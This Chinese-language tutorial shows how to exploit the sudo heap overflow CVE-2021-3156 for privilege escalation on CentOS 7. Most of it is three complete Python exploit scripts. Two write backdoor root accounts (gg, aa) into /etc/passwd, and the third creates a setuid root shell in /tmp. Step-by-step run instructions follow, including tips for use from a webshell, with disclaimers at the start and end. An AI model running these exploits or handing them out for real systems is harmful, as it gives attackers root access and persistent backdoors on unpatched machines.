实战中的sudo提权漏洞的使用姿势(CVE-2021-3156)
阅读原文时间:2023年07月08日阅读:1

实战中的sudo提权漏洞的使用姿势

本文章仅供学习和研究使用,严禁使用该文章内容对互联网其他应用进行非法操作,若将其用于非法目的,所造成的后果由您自行承担,产生的一切风险与本文作者无关,如继续阅读该文章即表明您默认遵守该内容。

0x00 漏洞概述

2021年1月26日,Linux安全工具sudo被发现严重的基于堆缓冲区溢出漏洞。利用这一漏洞,攻击者无需知道用户密码,一样可以获得root权限,并且是在默认配置下。此漏洞已分配为CVE-2021-3156,危险等级评分为7分。漏洞发生的原因在于sudo错误地转义了参数中的反斜杠。

0x01 漏洞原理

当在类Unix的操作系统上执行命令时,非root用户可以使用sudo命令来以root用户身份执行命令。由于sudo错误地在参数中转义了反斜杠导致堆缓冲区溢出,从而允许任何本地用户(无论是否在sudoers文件中)获得root权限,无需进行身份验证,且攻击者不需要知道用户密码。

0x02 受影响版本

Sudo 1.8.2 – 1.8.31p2
Sudo 1.9.0 – 1.9.5p1

0x03 不受影响版本

sudo =>1.9.5p2

0x04 漏洞复现(centos)

1.注意一点网上传的输入sudoedit -s / 然后查看回显这个方法不准确,一定要手动验证
2.注意一点如果是在webshell提取一定要用交互式的shell

首先创建一个centos虚拟机,查看版本
可以看到如上图,Linux版本是centos7.9 sudo版本是1.8.23
创建一个低权限账账户。
使用一个python版本的,这个版本可以针对默认配置的centos进行攻击。
如果不想去下载可以直接复制下面的代码

#!/usr/bin/python
'''
Exploit for CVE-2021-3156 on CentOS 7 by sleepya

Simplified version of exploit_userspec.py for easy understanding.
- Remove all checking code
- Fixed all offset (no auto finding)

Note: This exploit only work on sudo 1.8.23 on CentOS 7 with default configuration

Note: Disable ASLR before running the exploit (also modify STACK_ADDR_PAGE below) if you don't want to wait for bruteforcing
'''
import os
import sys
import resource
from struct import pack
from ctypes import cdll, c_char_p, POINTER

SUDO_PATH = b"/usr/bin/sudo"  # can be used in execve by passing argv[0] as "sudoedit"

PASSWD_PATH = '/etc/passwd'
APPEND_CONTENT = b"gg:$5$a$gemgwVPxLx/tdtByhncd4joKlMRYQ3IVwdoBXPACCL2:0:0:gg:/root:/bin/bash\n";

#STACK_ADDR_PAGE = 0x7fffffff1000  # for ASLR disabled
STACK_ADDR_PAGE = 0x7fffe5d35000

libc = cdll.LoadLibrary("libc.so.6")
libc.execve.argtypes = c_char_p,POINTER(c_char_p),POINTER(c_char_p)

def execve(filename, cargv, cenvp):
    libc.execve(filename, cargv, cenvp)

def spawn_raw(filename, cargv, cenvp):
    pid = os.fork()
    if pid:
        # parent
        _, exit_code = os.waitpid(pid, 0)
        return exit_code
    else:
        # child
        execve(filename, cargv, cenvp)
        exit(0)

def spawn(filename, argv, envp):
    cargv = (c_char_p * len(argv))(*argv)
    cenvp = (c_char_p * len(env))(*env)
    return spawn_raw(filename, cargv, cenvp)

resource.setrlimit(resource.RLIMIT_STACK, (resource.RLIM_INFINITY, resource.RLIM_INFINITY))

# expect large hole for cmnd size is correct
TARGET_CMND_SIZE = 0x1b50

argv = [ "sudoedit", "-A", "-s", PASSWD_PATH, "A"*(TARGET_CMND_SIZE-0x10-len(PASSWD_PATH)-1)+"\\", None ]

SA = STACK_ADDR_PAGE

ADDR_REFSTR = pack('<Q', SA+0x20) # ref string

ADDR_PRIV_PREV = pack('<Q', SA+0x10)
ADDR_CMND_PREV = pack('<Q', SA+0x18) # cmndspec
ADDR_MEMBER_PREV = pack('<Q', SA+0x20)

ADDR_DEF_VAR = pack('<Q', SA+0x10)
ADDR_DEF_BINDING = pack('<Q', SA+0x30)

OFFSET = 0x30 + 0x20
ADDR_USER = pack('<Q', SA+OFFSET)
ADDR_MEMBER = pack('<Q', SA+OFFSET+0x40)
ADDR_CMND = pack('<Q', SA+OFFSET+0x40+0x30)
ADDR_PRIV = pack('<Q', SA+OFFSET+0x40+0x30+0x60)

# for spraying
epage = [
    'A'*0x8 + # to not ending with 0x00

    # fake def->var chunk (get freed)
    '\x21', '', '', '', '', '', '',
    ADDR_PRIV[:6], '',  # pointer to privilege
    ADDR_CMND[:6], '',  # pointer to cmndspec
    ADDR_MEMBER[:6], '',  # pointer to member

    # fake def->binding (list head) (get freed)
    '\x21', '', '', '', '', '', '',
    '', '', '', '', '', '', '', '',  # members.first
    'A'*0x10 + # members.last, pad

    # userspec chunk (get freed)
    '\x41', '', '', '', '', '', '', # chunk metadata
    '', '', '', '', '', '', '', '',  # entries.tqe_next
    'A'*8 +  # entries.tqe_prev
    '', '', '', '', '', '', '', '',  # users.tqh_first
    ADDR_MEMBER[:6]+'', '', # users.tqh_last
    '', '', '', '', '', '', '', '',  # privileges.tqh_first
    ADDR_PRIV[:6]+'', '', # privileges.tqh_last
    '', '', '', '', '', '', '', '',  # comments.stqh_first

    # member chunk
    '\x31', '', '', '', '', '', '', # chunk size , userspec.comments.stqh_last (can be any)
    'A'*8 + # member.tqe_next (can be any), userspec.lineno (can be any)
    ADDR_MEMBER_PREV[:6], '',  # member.tqe_prev, userspec.file (ref string)
    'A'*8 + # member.name (can be any because this object is not freed)
    pack('<H', 284), '',  # type, negated
    'A'*0xc+ # padding

    # cmndspec chunk
    '\x61'*0x8 + # chunk metadata (need only prev_inuse flag)
    'A'*0x8 + # entries.tqe_next
    ADDR_CMND_PREV[:6], '',  # entries.teq_prev
    '', '', '', '', '', '', '', '',  # runasuserlist
    '', '', '', '', '', '', '', '',  # runasgrouplist
    ADDR_MEMBER[:6], '',  # cmnd
    '\xf9'+'\xff'*0x17+ # tag (NOPASSWD), timeout, notbefore, notafter
    '', '', '', '', '', '', '', '',  # role
    '', '', '', '', '', '', '', '',  # type
    'A'*8 + # padding

    # privileges chunk
    '\x51'*0x8 + # chunk metadata
    'A'*0x8 + # entries.tqe_next
    ADDR_PRIV_PREV[:6], '',  # entries.teq_prev
    'A'*8 + # ldap_role
    'A'*8 + # hostlist.tqh_first
    ADDR_MEMBER[:6], '',  # hostlist.teq_last
    'A'*8 +  # cmndlist.tqh_first
    ADDR_CMND[:6], '',  # cmndlist.teq_last
]

cnt = sum(map(len, epage))
padlen = 4096 - cnt - len(epage)
epage.append('P'*(padlen-1))

env = [
    "A"*(7+0x4010 + 0x110) + # overwrite until first defaults
    "\x21\\", "\\", "\\", "\\", "\\", "\\", "\\",
    "A"*0x18 +
    # defaults
    "\x41\\", "\\", "\\", "\\", "\\", "\\", "\\", # chunk size
    "\\", "\\", "\\", "\\", "\\", "\\", "\\", "\\", # next
    'a'*8 + # prev
    ADDR_DEF_VAR[:6]+'\\', '\\', # var
    "\\", "\\", "\\", "\\", "\\", "\\", "\\", "\\", # val
    ADDR_DEF_BINDING[:6]+'\\', '\\', # binding
    ADDR_REFSTR[:6]+'\\', '\\',  # file
    "Z"*0x8 +  # type, op, error, lineno
    "\x31\\", "\\", "\\", "\\", "\\", "\\", "\\", # chunk size (just need valid)
    'C'*0x638+  # need prev_inuse and overwrite until userspec
    'B'*0x1b0+
    # userspec chunk
    # this chunk is not used because list is traversed with curr->prev->prev->next
    "\x61\\", "\\", "\\", "\\", "\\", "\\", "\\", # chunk size
    ADDR_USER[:6]+'\\', '\\', # entries.tqe_next points to fake userspec in stack
    "A"*8 + # entries.tqe_prev
    "\\", "\\", "\\", "\\", "\\", "\\", "\\", "\\",  # users.tqh_first
    ADDR_MEMBER[:6]+'\\', '\\', # users.tqh_last
    "\\", "\\", "\\", "\\", "\\", "\\", "\\", "",  # privileges.tqh_first

    "LC_ALL=C",
    "SUDO_EDITOR=/usr/bin/tee -a", # append stdin to /etc/passwd
    "TZ=:",
]

ENV_STACK_SIZE_MB = 4
for i in range(ENV_STACK_SIZE_MB * 1024 / 4):
    env.extend(epage)

# last element. prepare space for '/usr/bin/sudo' and extra 8 bytes
env[-1] = env[-1][:-len(SUDO_PATH)-1-8]

env.append(None)

cargv = (c_char_p * len(argv))(*argv)
cenvp = (c_char_p * len(env))(*env)

# write passwd line in stdin. it will be added to /etc/passwd when success by "tee -a"
r, w = os.pipe()
os.dup2(r, 0)
w = os.fdopen(w, 'w')
w.write(APPEND_CONTENT)
w.close()

null_fd = os.open('/dev/null', os.O_RDWR)
os.dup2(null_fd, 2)

for i in range(8192):
    sys.stdout.write('%d\r' % i)
    if i % 8 == 0:
        sys.stdout.flush()
    exit_code = spawn_raw(SUDO_PATH, cargv, cenvp)
    if exit_code == 0:
        print("success at %d" % i)
        break

使用低权限账户运行exploit_cent7_userspec.py
像这种运行结束什么也没显示就是失败了。

如果运行失败的话多运行几遍,有的运行5.6遍才运行成功,这是第二次运行的,可以看到已经运行成功。
gg:$5$a$gemgwVPxLx/tdtByhncd4joKlMRYQ3IVwdoBXPACCL2:0:0:gg:/root:/bin/bash success at 490
后面这个490表示运行第490次成功。

成功之后会自动生成一个用户名为gg,密码为gg的root权限用户,成功提权,whoami可以看到是root权限

这个POC是吐司上面下载的。

#!/usr/bin/python
import os
import sys
import resource
from struct import pack
from ctypes import cdll, c_char_p, POINTER

SUDO_PATH = b"/usr/bin/sudo"

PASSWD_PATH = '/etc/passwd'
APPEND_CONTENT = b"aa:$5$AZaSmJBP$lsgF8hex//kd.G4XxUJGaS618ZtYoQ796UpkM/8Ucm3:0:0:gg:/root:/bin/bash\n";

#STACK_ADDR_PAGE = 0x7fffffff1000  # for ASLR disabled
STACK_ADDR_PAGE = 0x7fffe5d35000

libc = cdll.LoadLibrary("libc.so.6")
libc.execve.argtypes = c_char_p,POINTER(c_char_p),POINTER(c_char_p)

def execve(filename, cargv, cenvp):
    libc.execve(filename, cargv, cenvp)

def spawn_raw(filename, cargv, cenvp):
    pid = os.fork()
    if pid:
        # parent
        _, exit_code = os.waitpid(pid, 0)
        return exit_code
    else:
        # child
        execve(filename, cargv, cenvp)
        exit(0)

def spawn(filename, argv, envp):
    cargv = (c_char_p * len(argv))(*argv)
    cenvp = (c_char_p * len(env))(*env)
    return spawn_raw(filename, cargv, cenvp)

resource.setrlimit(resource.RLIMIT_STACK, (resource.RLIM_INFINITY, resource.RLIM_INFINITY))

# expect large hole for cmnd size is correct
TARGET_CMND_SIZE = 0x1b50

argv = [ "sudoedit", "-A", "-s", PASSWD_PATH, "A"*(TARGET_CMND_SIZE-0x10-len(PASSWD_PATH)-1)+"\\", None ]

SA = STACK_ADDR_PAGE

ADDR_REFSTR = pack('<Q', SA+0x20) # ref string

ADDR_PRIV_PREV = pack('<Q', SA+0x10)
ADDR_CMND_PREV = pack('<Q', SA+0x18) # cmndspec
ADDR_MEMBER_PREV = pack('<Q', SA+0x20)

ADDR_DEF_VAR = pack('<Q', SA+0x10)
ADDR_DEF_BINDING = pack('<Q', SA+0x30)

OFFSET = 0x30 + 0x20
ADDR_USER = pack('<Q', SA+OFFSET)
ADDR_MEMBER = pack('<Q', SA+OFFSET+0x40)
ADDR_CMND = pack('<Q', SA+OFFSET+0x40+0x30)
ADDR_PRIV = pack('<Q', SA+OFFSET+0x40+0x30+0x60)

# for spraying
epage = [
    'A'*0x8 + # to not ending with 0x00

    # fake def->var chunk (get freed)
    '\x21', '', '', '', '', '', '',
    ADDR_PRIV[:6], '',  # pointer to privilege
    ADDR_CMND[:6], '',  # pointer to cmndspec
    ADDR_MEMBER[:6], '',  # pointer to member

    # fake def->binding (list head) (get freed)
    '\x21', '', '', '', '', '', '',
    '', '', '', '', '', '', '', '',  # members.first
    'A'*0x10 + # members.last, pad

    # userspec chunk (get freed)
    '\x41', '', '', '', '', '', '', # chunk metadata
    '', '', '', '', '', '', '', '',  # entries.tqe_next
    'A'*8 +  # entries.tqe_prev
    '', '', '', '', '', '', '', '',  # users.tqh_first
    ADDR_MEMBER[:6]+'', '', # users.tqh_last
    '', '', '', '', '', '', '', '',  # privileges.tqh_first
    ADDR_PRIV[:6]+'', '', # privileges.tqh_last
    '', '', '', '', '', '', '', '',  # comments.stqh_first

    # member chunk
    '\x31', '', '', '', '', '', '', # chunk size , userspec.comments.stqh_last (can be any)
    'A'*8 + # member.tqe_next (can be any), userspec.lineno (can be any)
    ADDR_MEMBER_PREV[:6], '',  # member.tqe_prev, userspec.file (ref string)
    'A'*8 + # member.name (can be any because this object is not freed)
    pack('<H', 284), '',  # type, negated
    'A'*0xc+ # padding

    # cmndspec chunk
    '\x61'*0x8 + # chunk metadata (need only prev_inuse flag)
    'A'*0x8 + # entries.tqe_next
    ADDR_CMND_PREV[:6], '',  # entries.teq_prev
    '', '', '', '', '', '', '', '',  # runasuserlist
    '', '', '', '', '', '', '', '',  # runasgrouplist
    ADDR_MEMBER[:6], '',  # cmnd
    '\xf9'+'\xff'*0x17+ # tag (NOPASSWD), timeout, notbefore, notafter
    '', '', '', '', '', '', '', '',  # role
    '', '', '', '', '', '', '', '',  # type
    'A'*8 + # padding

    # privileges chunk
    '\x51'*0x8 + # chunk metadata
    'A'*0x8 + # entries.tqe_next
    ADDR_PRIV_PREV[:6], '',  # entries.teq_prev
    'A'*8 + # ldap_role
    'A'*8 + # hostlist.tqh_first
    ADDR_MEMBER[:6], '',  # hostlist.teq_last
    'A'*8 +  # cmndlist.tqh_first
    ADDR_CMND[:6], '',  # cmndlist.teq_last
]

cnt = sum(map(len, epage))
padlen = 4096 - cnt - len(epage)
epage.append('P'*(padlen-1))

env = [
    "A"*(7+0x4010 + 0x110) + # overwrite until first defaults
    "\x21\\", "\\", "\\", "\\", "\\", "\\", "\\",
    "A"*0x18 +
    # defaults
    "\x41\\", "\\", "\\", "\\", "\\", "\\", "\\", # chunk size
    "\\", "\\", "\\", "\\", "\\", "\\", "\\", "\\", # next
    'a'*8 + # prev
    ADDR_DEF_VAR[:6]+'\\', '\\', # var
    "\\", "\\", "\\", "\\", "\\", "\\", "\\", "\\", # val
    ADDR_DEF_BINDING[:6]+'\\', '\\', # binding
    ADDR_REFSTR[:6]+'\\', '\\',  # file
    "Z"*0x8 +  # type, op, error, lineno
    "\x31\\", "\\", "\\", "\\", "\\", "\\", "\\", # chunk size (just need valid)
    'C'*0x638+  # need prev_inuse and overwrite until userspec
    'B'*0x1b0+
    # userspec chunk
    # this chunk is not used because list is traversed with curr->prev->prev->next
    "\x61\\", "\\", "\\", "\\", "\\", "\\", "\\", # chunk size
    ADDR_USER[:6]+'\\', '\\', # entries.tqe_next points to fake userspec in stack
    "A"*8 + # entries.tqe_prev
    "\\", "\\", "\\", "\\", "\\", "\\", "\\", "\\",  # users.tqh_first
    ADDR_MEMBER[:6]+'\\', '\\', # users.tqh_last
    "\\", "\\", "\\", "\\", "\\", "\\", "\\", "",  # privileges.tqh_first

    "LC_ALL=C",
    "SUDO_EDITOR=/usr/bin/tee -a", # append stdin to /etc/passwd
    "TZ=:",
]

ENV_STACK_SIZE_MB = 4
for i in range(ENV_STACK_SIZE_MB * 1024 / 4):
    env.extend(epage)

# last element. prepare space for '/usr/bin/sudo' and extra 8 bytes
env[-1] = env[-1][:-len(SUDO_PATH)-1-8]

env.append(None)

cargv = (c_char_p * len(argv))(*argv)
cenvp = (c_char_p * len(env))(*env)

# write passwd line in stdin. it will be added to /etc/passwd when success by "tee -a"
r, w = os.pipe()
os.dup2(r, 0)
w = os.fdopen(w, 'w')
w.write(APPEND_CONTENT)
w.close()

null_fd = os.open('/dev/null', os.O_RDWR)
os.dup2(null_fd, 2)

for i in range(8192):
    sys.stdout.write('%d\r' % i)
    if i % 8 == 0:
        sys.stdout.flush()
    exit_code = spawn_raw(SUDO_PATH, cargv, cenvp)
    if exit_code == 0:
        print("success at %d" % i)
        break

跟上面一样的操作,唯一不同的是这个poc运行成功会生成一个用户名为aa 密码为 wwwroot用户
还有就是这个poc只能适用于默认配置的centos7
成功运行。

这个POC跟上面poc2都是吐司的,然后这个poc有点不一样的是运行成功之后输入目录/tmp/sshell可以直接进入root权限。

#!/usr/bin/python
import os
import subprocess
import sys
import resource
import select
import signal
from struct import pack
from ctypes import cdll, c_char_p, POINTER

SUDO_PATH = b"/usr/bin/sudo"

SHELL_PATH = b"/tmp/gg" # a shell script file executed by sudo (max length is 31)
SUID_PATH = "/tmp/sshell" # a file that will be owned by root and suid
PWNED_PATH = "/tmp/pwned" # a file that will be created after SHELL_PATH is executed

libc = cdll.LoadLibrary("libc.so.6")
libc.execve.argtypes = c_char_p,POINTER(c_char_p),POINTER(c_char_p)

resource.setrlimit(resource.RLIMIT_STACK, (resource.RLIM_INFINITY, resource.RLIM_INFINITY))

def create_bin(bin_path):
    if os.path.isfile(bin_path):
        return  # existed
    try:
        os.makedirs(bin_path[:bin_path.rfind('/')])
    except:
        pass

    import base64, zlib
    bin_b64 = 'eNqrd/VxY2JkZIABJgY7BhCvgsEBzHdgwAQODBYMMB0gmhVNFpmeCuXBaAYBCJWVGcHPmpUFJDx26Cdl5ukXZzAEhMRnWUfM5GcFAGyiDWs='
    with open(bin_path, 'wb') as f:
        f.write(zlib.decompress(base64.b64decode(bin_b64)))

def create_shell(path, suid_path):
    with open(path, 'w') as f:
        f.write('#!/bin/sh\n')
        f.write('/usr/bin/id >> %s\n' % PWNED_PATH)
        f.write('/bin/chown root.root %s\n' % suid_path)
        f.write('/bin/chmod 4755 %s\n' % suid_path)
    os.chmod(path, 0o755)

def execve(filename, cargv, cenvp):
    libc.execve(filename, cargv, cenvp)

def spawn_raw(filename, cargv, cenvp):
    pid = os.fork()
    if pid:
        # parent
        _, exit_code = os.waitpid(pid, 0)
        return exit_code
    else:
        # child
        execve(filename, cargv, cenvp)
        exit(0)

def spawn(filename, argv, envp):
    cargv = (c_char_p * len(argv))(*argv)
    cenvp = (c_char_p * len(envp))(*envp)
    # Note: error with backtrace is print to tty directly. cannot be piped or suppressd
    r, w = os.pipe()
    pid = os.fork()
    if not pid:
        # child
        os.close(r)
        os.dup2(w, 2)
        execve(filename, cargv, cenvp)
        exit(0)
    # parent
    os.close(w)
    # might occur deadlock in heap. kill it if timeout and set exit_code as 6
    # 0.5 second should be enough for execution
    sr, _, _ = select.select([ r ], [], [], 0.5)
    if not sr:
        os.kill(pid, signal.SIGKILL)
    _, exit_code = os.waitpid(pid, 0)
    if not sr: # timeout, assume dead lock in heap
        exit_code = 6

    if 128 < exit_code < 256:
        exit_code -= 128
    r = os.fdopen(r, 'r')
    err = r.read()
    r.close()
    return exit_code, err

def has_askpass(err):
    # 'sudoedit: no askpass program specified, try setting SUDO_ASKPASS'
    return 'sudoedit: no askpass program ' in err

def get_sudo_version():
    proc = subprocess.Popen([SUDO_PATH, '-V'], stdout=subprocess.PIPE, bufsize=1, universal_newlines=True)
    for line in proc.stdout:
        line = line.strip()
        if not line:
            continue
        if line.startswith('Sudo '):
            txt = line[12:].strip()
            pos = txt.rfind('p')
            if pos != -1:
                txt = txt[:pos]
            versions = list(map(int, txt.split('.')))
            break

    proc.wait()
    return versions

def check_sudo_version():
    sudo_vers = get_sudo_version()
    assert sudo_vers[0] == 1, "Unexpect sudo major version"
    assert sudo_vers[1] == 8, "Unexpect sudo minor version"
    return sudo_vers[2]

def check_mailer_root():
    if not os.access(SUDO_PATH, os.R_OK):
        print("Cannot determine disble-root-mailer flag")
        return True
    return subprocess.call(['grep', '-q', 'disable-root-mailer', SUDO_PATH]) == 1

def find_cmnd_size():
    argv = [ b"sudoedit", b"-A", b"-s", b"", None ]
    env = [ b'A'*(7+0x4010+0x110-1), b"LC_ALL=C", b"TZ=:", None ]

    size_min, size_max = 0xc00, 0x2000
    found_size = 0
    while size_max - size_min > 0x10:
        curr_size = (size_min + size_max) // 2
        curr_size &= 0xfff0
        print("\ncurr size: 0x%x" % curr_size)
        argv[-2] = b"\xfc"*(curr_size-0x10)+b'\\'
        exit_code, err = spawn(SUDO_PATH, argv, env)
        print("\nexit code: %d" % exit_code)
        print(err)
        if exit_code == 256 and has_askpass(err):
            # need pass. no crash.
            # fit or almost fit
            if found_size:
                found_size = curr_size
                break
            # maybe almost fit. try again
            found_size = curr_size
            size_min = curr_size
            size_max = curr_size + 0x20
        elif exit_code in (7, 11):
            # segfault. too big
            if found_size:
                break
            size_max = curr_size
        else:
            assert exit_code == 6
            # heap corruption. too small
            size_min = curr_size

    if found_size:
        return found_size
    assert size_min == 0x2000 - 0x10
    # old sudo version and file is in /etc/sudoers.d
    print('has 2 holes. very large one is bad')

    size_min, size_max = 0xc00, 0x2000
    for step in (0x400, 0x100, 0x40, 0x10):
        found = False
        env[0] = b'A'*(7+0x4010+0x110-1+step+0x100)
        for curr_size in range(size_min, size_max, step):
            argv[-2] = b"A"*(curr_size-0x10)+b'\\'
            exit_code, err = spawn(SUDO_PATH, argv, env)
            print("\ncurr size: 0x%x" % curr_size)
            print("\nexit code: %d" % exit_code)
            print(err)
            if exit_code in (7, 11):
                size_min = curr_size
                found = True
            elif found:
                print("\nsize_min: 0x%x" % size_min)
                break
        assert found, "Cannot find cmnd size"
        size_max = size_min + step

    # TODO: verify
    return size_min

def find_defaults_chunk(argv, env_prefix):
    offset = 0
    pos = len(env_prefix) - 1
    env = env_prefix[:]
    env.extend([ b"LC_ALL=C", b"TZ=:", None ])
    # overflow until sudo crash without asking pass
    # crash because of defaults.entries.next is overwritten
    while True:
        env[pos] += b'A'*0x10
        exit_code, err = spawn(SUDO_PATH, argv, env)
        # 7 bus error, 11 segfault
        if exit_code in (7, 11) and not has_askpass(err):
            # found it
            env[pos] = env[pos][:-0x10]
            break
        offset += 0x10

    # verify if it is defaults
    env = env[:-3]
    env[-1] += b'\x41\\' # defaults chunk size 0x40
    env.extend([
        b'\\', b'\\', b'\\', b'\\', b'\\', b'\\',
        (b'' if has_tailq else b'A'*8) + # prev if no tailq
        b"\\", b"\\", b"\\", b"\\", b"\\", b"\\", b"\\", b"\\", # entries.next
        (b'A'*8 if has_tailq else b'') + # entries.prev
        pack("<Q", 0xffffffffff600000+0x880) + # var (use vsyscall for testing)
        b"A"*(0x20-1), # binding, file, type, op, error, lineno
        b"LC_ALL=C", b"TZ=:", None
    ])

    exit_code, err = spawn(SUDO_PATH, argv, env)
    # old sudo verion has no cleanup if authen fail. exit code is 256.
    assert exit_code in (256, 11) and has_askpass(err), "cannot find defaults chunk"
    return offset

def create_env(offset_defaults):
    with open('/proc/sys/kernel/randomize_va_space') as f:
        has_aslr = int(f.read()) != 0
    if has_aslr:
        STACK_ADDR_PAGE = 0x7fffe5d35000
    else:
        STACK_ADDR_PAGE = 0x7fffffff1000  # for ASLR disabled

    SA = STACK_ADDR_PAGE

    ADDR_MEMBER_PREV = pack('<Q', SA+8)
    ADDR_MEMBER_LAST = ADDR_MEMBER_PREV

    ADDR_MEMBER = pack('<Q', SA+0x20)
    ADDR_DEF_BINDING = ADDR_MEMBER

    ADDR_MAILER_VAR = pack('<Q', SA+0x20+0x30)
    ADDR_MAILER_VAL = pack('<Q', SA+0x20+0x30+0x10)

    ADDR_ALWAYS_VAR = pack('<Q', SA+0x20+0x30+0x10+0x20)
    ADDR_DEF_BAD    = pack('<Q', SA+0x20+0x30+0x10+0x20+0x10)

    # no need to make cleanup without a crash. mailer is executed before cleanup steps
    # def_mailto is always set
    # def_mailerflags is mailer arguments
    epage = [
        b'A'*0x8 + # to not ending with 0x00

        ADDR_MEMBER[:6], b'',  # pointer to member
        ADDR_MEMBER_PREV[:6], b'',  # pointer to member

        # member chunk (and defaults->binding (list head))
        b'A'*8 + # chunk size
        b'', b'', b'', b'', b'', b'', b'', b'', # members.first
        ADDR_MEMBER_LAST[:6], b'', # members.last
        b'A'*8 + # member.name (can be any because this object is freed as list head (binding))
        pack('<H', MATCH_ALL), b'',  # type, negated
        b'A'*0xc + # padding

        # var (mailer)
        b'A'*8 + # chunk size
        b"mailerpath", b'A'*5 +
        # val (mailer) (assume path length is less than 32)
        SHELL_PATH, b'A'*(0x20-len(SHELL_PATH)-1) +
        # var (mail_always)
        b"mail_always", b'A'*4 + 

        # defaults (invalid mail_always, has val)
        (b'' if has_tailq else b'A'*8) + # prev if no tailq
        b'', b'', b'', b'', b'', b'', b'', b'', # next
        (b'A'*8 if has_tailq else b'') + # prev if has tailq
        ADDR_ALWAYS_VAR[:6], b'', # var
        ADDR_ALWAYS_VAR[:6], b'', # val (invalid defaults mail_always, trigger sendmail immediately)
        ADDR_DEF_BINDING[:6], b'', # binding or binding.first
    ]
    if has_file:
        epage.extend([ ADDR_ALWAYS_VAR[:6], b'' ]) # file
    elif not has_tailq:
        epage.extend([ ADDR_MEMBER[:6], b'' ]) # binding.last
    epage.extend([
        pack('<H', DEFAULTS_CMND) + # type
        b'', b'', # for type is 4 bytes version
    ])

    env = [
        b'A'*(7+0x4010+0x110+offset_defaults) +
        b'A'*8 + # chunk metadata
        (b'' if has_tailq else b'A'*8) + # prev if no tailq
        ADDR_DEF_BAD[:6]+b'\\', b'\\', # next
        (b'A'*8 if has_tailq else b'') + # prev if has tailq
        ADDR_MAILER_VAR[:6]+b'\\', b'\\', # var
        ADDR_MAILER_VAL[:6]+b'\\', b'\\', # val
        ADDR_DEF_BINDING[:6]+b'\\', b'\\', # binding or bind.first
    ]
    if has_file or not has_tailq:
        env.extend([ ADDR_MEMBER[:6]+b'\\', b'\\' ]) # binding.last or file (no use)
    env.extend([
        pack('<H', DEFAULTS_CMND) + # type
        (b'\x01' if has_file else b'\\'), b'', # if not has_file, type is int (4 bytes)
        b"LC_ALL=C",
        b"TZ=:",
        b"SUDO_ASKPASS=/invalid",
    ])

    cnt = sum(map(len, epage))
    padlen = 4096 - cnt - len(epage)
    epage.append(b'P'*(padlen-1))

    ENV_STACK_SIZE_MB = 4
    for i in range(ENV_STACK_SIZE_MB * 1024 // 4):
        env.extend(epage)

    # reserve space in last element for '/usr/bin/sudo' and padding
    env[-1] = env[-1][:-14-8]
    env.append(None)
    return env

def run_until_success(argv, env):
    cargv = (c_char_p * len(argv))(*argv)
    cenvp = (c_char_p * len(env))(*env)

    create_bin(SUID_PATH)
    create_shell(SHELL_PATH, SUID_PATH)

    null_fd = os.open('/dev/null', os.O_RDWR)
    os.dup2(null_fd, 2)

    for i in range(65536):
        sys.stdout.write('%d\r' % i)
        if i % 8 == 0:
            sys.stdout.flush()
        exit_code = spawn_raw(SUDO_PATH, cargv, cenvp)
        if os.path.exists(PWNED_PATH):
            print("success at %d" % i)
            if os.stat(PWNED_PATH).st_uid != 0:
                print("ROOT MAILER is disabled :(")
            break
        if exit_code not in (7, 11):
            print("invalid offset. exit code: %d" % exit_code)
            break

def main():
    cmnd_size = int(sys.argv[1], 0) if len(sys.argv) > 1 else None
    offset_defaults = int(sys.argv[2], 0) if len(sys.argv) > 2 else None

    if cmnd_size is None:
        cmnd_size = find_cmnd_size()
        print("found cmnd size: 0x%x" % cmnd_size)

    argv = [ b"sudoedit", b"-A", b"-s", b"A"*(cmnd_size-0x10)+b"\\", None ]

    env_prefix = [ b'A'*(7+0x4010+0x110) ]

    if offset_defaults is None:
        offset_defaults = find_defaults_chunk(argv, env_prefix)
    assert offset_defaults != -1

    print('')
    print("cmnd size: 0x%x" % cmnd_size)
    print("offset to defaults: 0x%x" % offset_defaults)

    argv = [ b"sudoedit", b"-A", b"-s", b"A"*(cmnd_size-0x10)+b"\\", None ]
    env = create_env(offset_defaults)
    run_until_success(argv, env)

if __name__ == "__main__":
    # global intialization
    assert check_mailer_root(), "root mailer is disabled"
    sudo_ver = check_sudo_version()
    DEFAULTS_CMND = 269
    if sudo_ver >= 15:
        MATCH_ALL = 284
    elif sudo_ver >= 13:
        MATCH_ALL = 282
    elif sudo_ver >= 7:
        MATCH_ALL = 280
    elif sudo_ver < 7:
        MATCH_ALL = 279
        DEFAULTS_CMND = 268

    has_tailq = sudo_ver >= 9
    has_file = sudo_ver >= 19  # has defaults.file pointer
    main()

成功运行

可以看到是root权限

仅限授权安全测试使用,禁止未授权非法攻击站点。本文章仅供学习和研究使用。严禁使用该文章内容对互联网其他应用进行非法操作,若将其用于非法目的,所造成的后果由您自行承担,产生的一切风险与本文作者无关,如继续阅读该文章即表明您默认遵守该内容。